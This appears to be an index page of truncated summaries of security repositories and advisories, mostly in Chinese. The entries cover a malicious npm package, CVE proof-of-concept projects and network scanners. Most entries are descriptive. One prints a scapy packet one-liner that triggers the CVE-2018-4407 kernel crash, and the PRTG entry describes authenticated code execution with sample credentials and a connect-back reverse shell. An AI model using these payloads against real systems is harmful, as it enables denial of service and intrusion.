MAL-2026-17479 Malicious code in css-gap-decorations-polyfill (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8126656cc344a4f632b8ddf5a23683fc92ac22798bb67e1aed6bca73ac82d7b6 The package is published as a CSS polyfill but ships no polyfill functionality. On require, thunderboltRegistry.js uses childprocess.execSync to run...

check_icmp_dos

checkicmpdos iOS 12 / OS X Remote Kernel Heap Overflow CVE-2018-4407 POC： pip install scapy sudo scapy sendIPdst=“Target IP“,options=IPOption“A”8/TCPdport=2323,options=19, “1"18,19, “2”18 或使用脚本 python checkicmpdos.py 127.0.0.1...

zeek-jetdirect

Zeek Package for zeek-jetdirect .. image::...

aws-vault

AWS Vault !WARNING This project has been abandoned and it's not receiving any more updates. If you want to continue to receive updates or contribute, please feel free to look at the active fork at: https://github.com/ByteNess/aws-vault AWS Vault is a tool to securely store and access AWS...

jugular

jugular 使用 jugs 查找 CUPS：一个超高速 UDP 发送器，试图触发正在监听的 cups-browsed 进程进行 HTTP 回调。 这是一个高性能扫描器，直接向网络写入 UDP 数据包。 安装（Ubuntu 或类似系统） sudo apt install golang libpcap0.8-dev go install github.com/lkarlslund/jugular@main ... 或从构建产物中下载 Linux x64 二进制文件 用法 1. 为 jugular 授予所需的网络权限 允许 jugular 绑定低端口并访问原始套接字，而无需以 root...

anviz-m3-rfid-cve-2019-11523-poc

Anviz M3 RFID 门禁控制安全漏洞 在 Anviz M3 RFID 门禁控制设备以独立模式连接 TCP/IP 网络时发现了安全漏洞，这些漏洞可能导致门禁控制绕过以及私人信息泄露和篡改。 公告信息 标题：Anviz M3 RFID 门禁控制安全漏洞 公告URL：https://github.com/wizlab-it/anviz-m3-rfid-cve-2019-11523-poc/ 发布日期：2019/05/22 受影响厂商：Anviz 受影响产品：M3 室外 RFID 门禁控制 https://www.anviz.com/product/69.html...

Internet-Scanner

局域网扫描器 一个使用Tkinter的图形界面，用于扫描本地IPv4网络（ARP + nmap探测），显示设备，允许运行全端口扫描和导出结果。 快速概览 ARP扫描发现局域网设备。 改进的nmap探测，获取主机名、厂商、开放端口、操作系统猜测和延迟。 全端口按钮对选定设备运行密集的nmap扫描。 基于检测到的开放端口的智能风险评分（低/中/高/严重）。 实时仪表板统计（总设备数、开放端口主机数、高风险主机数、平均延迟）。 实时筛选/搜索和可排序的表列，以加快分类。 重新扫描选定设备、复制IP和网络洞察（本地/公网IP + 平台详情）。 导出结果为CSV或JSON。 依赖要求 Window...

phantomprint

PHANTOMPRINT 适用于操作系统无关的多协议分析与情报的被动混合分析工具 在不发送任何数据包的情况下 对网络上的主机进行指纹识别。 PHANTOMPRINT 将多个被动信号（TCP/IP 协议栈、TLS/JA4、DHCP Option 55、HTTP/2 HPACK、DNS 行为）关联起来，仅通过观测到的流量即可识别操作系统、浏览器和设备。 为什么选择 PHANTOMPRINT？ 工具| TCP/IP 指纹| TLS/JA4| DHCP 指纹| 多信号| 置信度分数 ---|---|---|---|---|--- p0f| ✅| ❌| ❌| ❌| ❌ Zeek| ✅| 插件| ❌...

CVE-2023-27163

CVE-2023-27163 Request-Baskets v1.2.1 - 服务器端请求伪造（SSRF） request-baskets 版本 v1.2.1 及之前被发现在组件 /api/baskets/name 中存在服务器端请求伪造（SSRF）漏洞。该漏洞允许攻击者通过精心构造的 API 请求访问网络资源和敏感信息。 安装 git clone https://github.com/0xFTW/CVE-2023-27163 cd CVE-2023-27163 pip3 install -r requirements.txt 用法 python3 CVE-2023-27163.py...

CVE-2022-25584

Flexwatch Flexwatch-CVE 本文档针对 CVE-2022-25584 "已保留" https://vulners.com/cve/CVE-2022-25584 此漏洞已被 CNVD 收录，但尚未公开 CNVD ID:CNVD-2021-103443 漏洞复现： 我们发现由 Seyeon Tech Co., Ltd. 拥有的 FlexWATCH FW3170-PS-E 网络视频系统 4.23-3000GY 存在未授权访问漏洞，攻击者可利用该漏洞获取监控图像并泄露敏感信息 例如：...

CVE-2025-14847

🚨 CVE-2025-14847 — “MongoBleed” 一个高危的未认证内存泄露漏洞 📖 目录 概述 技术细节 严重性与CVSS评分 受影响版本 真实影响 利用概要 检测指南 修复措施 临时缓解措施 安全清单 总结 🔎 概述 CVE-2025-14847 ，绰号 “MongoBleed” ，是MongoDB服务器网络协议处理中的一个漏洞。 它允许远程、未认证的攻击者 从易受攻击的MongoDB进程中读取未初始化的堆内存 。 这可能导致敏感信息泄露，例如： 🔑 凭据 🔐 加密密钥 🎟 会话令牌 📦 内部运行时数据 🧠 技术细节 🧩 根本原因 问题源于： zlib压缩协议头部...

PRTG-Network-Monitor-18.2.38---Authenticated-Remote-Code-Execution-CVE-2018-9276

已验证的 PRTG 网络监视器远程代码执行 基于 https://www.exploit-db.com/exploits/46527 使用方法：只需手动编辑脚本，按如下方式填入目标 URL、管理员用户名和密码： TARGET = "http://10.129.15.52" USER = "prtgadmin" PASS = "PrTg@dmin2019" 然后在第 110 行插入你想要执行的任意命令。我建议从 revshells.com 获取 base64 编码的反向 shell，以便立即回连到你的监听器。 注意：我在脚本中将 CMD 变量留空，方便你按需自定义。 CMD =...

external_tcpdump_AOSP10_r33_CVE-2019-15166

tcpdump 如要报告安全问题，请发送电子邮件至 [email protected]。 如要报告 bug 和其他问题、贡献补丁、请求新功能、提供一般性反馈等，请参阅 tcpdump 源码树根目录下的 CONTRIBUTING 文件。 TCPDUMP 4.x.y 现由 "The Tcpdump Group" 维护 参见 www.tcpdump.org 可通过以下方式获取匿名 Git： git clone git://bpf.tcpdump.org/tcpdump 原先来自 Lawrence Berkeley National Laboratory Network Researc...

SharkTooth

SharkTooth（开发中） SharkTooth 是一款支持 TCP 和 UDP 的端口扫描器，适用于基础网络审计和培训。 “开发中”是什么意思： 正在添加新功能，同时对现有功能进行重构或移除。 新功能： SYN 扫描、嗅探器 手动数据包组装：构建 IP/TCP 头部、计算校验和 将被移除的功能： 进度条 监控（Prometheus + Grafana） !NOTE 该扫描器无法在 Windows 上运行——需要原始套接字，这需要 root/管理员权限，并且在 Windows 上的行为有所不同 该项目由一位没有商业开发经验的个人独立开发，编写此软件是为了深入理解底层工作原理。...

EternalBlue-Vulnerability-Scanner

EternalBlue 扫描器 一个用于扫描启用了SMB的设备是否存在 EternalBlue漏洞 CVE-2017-0144 的 Python 工具。 该脚本通过测试 SMB 连接，检查网络中的设备是否存在 EternalBlue 漏洞。 ⚡ 功能 ✅ 扫描 IP 地址列表以检测 SMB 漏洞。 ✅ 检测目标机器是否存在 EternalBlue CVE-2017-0144 漏洞。 ✅ 使用 ThreadPoolExecutor 并行处理，快速扫描多个设备。 ✅ 简单易用的界面。 🔧 依赖要求 Python 3.x Impacket 库 📥 安装 克隆此仓库： git clone...

kernel-debug-lab-for-virtual-box

如何使用 Windbg 设置 VirtualBox 实验室来调试内核驱动程序 这里我们假设计算机 A 上已安装 windbg，计算机 B 上已安装 Visual Studio、SDK 和 WDK。 1. 打开 Host Network Manager，创建或设置一个新的 Virtual Box Host-Only Ethernet adapter 2. 创建或选择一个 Virtual Box Host-Only Ethernet adapter，并勾选 DHCP Server 的 Enable 复选框 3. 对于计算机 A 和计算机 B，进入 Settings - Network，在...

CVE-2025-64459-hunter

CVE-2025-64459-hunter 针对 CVE-2025-64459（Django SQL注入漏洞）的快速网络扫描器。 安装 pip install -r requirements.txt 使用 扫描单个 IP python cve202564459hunter.py -t 192.168.1.100 扫描 CIDR 范围 python cve202564459hunter.py -t 192.168.1.0/24 自定义端口 python cve202564459hunter.py -t 10.0.0.0/24 -p 80,443,8000 自定义路径 python...

CVE-2018-10933_Scanner

CVE-2018-10933Scanner es una herramienta para detectar versiones de libssh vulnerables a CVE-2018-10933. La cual permite escanear desde un único objetivo hasta una lista completa de direcciones IP al igual que permite mostrar la localización del servidor vulnerable...

e1000_vulnerability_exploit

e1000漏洞利用 安装 $ ./install.sh 目前仅支持构建自有版本。请选择 own 和 debug 来构建你的调试版本。 警告：过程中可能出现错误，尤其是在编译源码时。你可能会看到类似 "Exit with error status 2." 的信息。 如果出现错误，请联系我们：[email protected] 调试 使用 RTLogPrintfstring, args 打印调试信息。调试信息将写入 VirtualBox 文件夹中的 .log 文件。 查看以下文件： src/VBox/Devices/Network/DevE1000 .cpp / .h；...

Scanner-CVE-2019-0708

Scanner-CVE-2019-0708 此扫描器用于 BlueKeep CVE-2019-0708 漏洞 安装与运行 git clone https://github.com/JSec1337/Scanner-CVE-2019-0708 cd Scanner-CVE-2019-0708 pip3 install pyasn1 pyasn1modules cryptography==2.7 chmod +x scanbluekeep.py ./scanbluekeep.py 192.168.1.7 Or ./scanbluekeep.py 192.168.1.1/24 代码状态 SAF...